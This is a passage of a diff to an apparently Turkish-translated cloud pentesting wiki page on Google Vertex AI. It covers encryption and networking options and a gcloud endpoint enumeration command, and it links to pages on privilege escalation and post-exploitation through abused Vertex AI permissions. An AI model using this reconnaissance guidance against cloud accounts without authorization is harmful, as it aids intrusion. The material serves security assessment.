|
||||
- **Loglar** Cloud Logging'e gönderilir
|
||||
- **Metrikler** Cloud Monitoring'e gönderilir
|
||||
|
||||
### Encryption
|
||||
|
||||
Varsayılan olarak, Vertex AI **Google-managed encryption keys** kullanır. Ayrıca şu şekilde yapılandırabilirsiniz:
|
||||
Varsayılan olarak, Vertex AI **Google-managed encryption keys** kullanır. Ayrıca yapılandırabilirsiniz:
|
||||
|
||||
- Cloud KMS'den **customer-managed encryption keys (CMEK)**
|
||||
- Şifreleme model artifact'lerine, training verilerine ve endpoints'e uygulanır
|
||||
- Cloud KMS'den **Customer-managed encryption keys (CMEK)**
|
||||
- Şifreleme model artifact'lerine, eğitim verisine ve uç noktalara uygulanır
|
||||
|
||||
### Networking
|
||||
|
||||
Vertex AI kaynakları için yapılandırma seçenekleri:
|
||||
Vertex AI kaynakları şu şekilde yapılandırılabilir:
|
||||
|
||||
- **Public internet access** (varsayılan)
|
||||
- **Public internet erişimi** (varsayılan)
|
||||
- **VPC peering** ile private erişim
|
||||
- **Private Service Connect** ile güvenli bağlantı
|
||||
- Güvenli bağlantı için **Private Service Connect**
|
||||
- **Shared VPC** desteği
|
||||
|
||||
### Enumeration
|
||||
@@ -243,14 +249,20 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Ayrıcalık Yükseltme
|
||||
### Privilege Escalation
|
||||
|
||||
Aşağıdaki sayfada, **Vertex AI izinlerini kötüye kullanarak ayrıcalıkları nasıl yükseltebileceğinizi** inceleyebilirsiniz:
|
||||
Aşağıdaki sayfada, **abuse Vertex AI permissions to escalate privileges** konusunu nasıl inceleyebileceğinizi görebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Kaynaklar
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
|
||||
Reference in New Issue
Block a user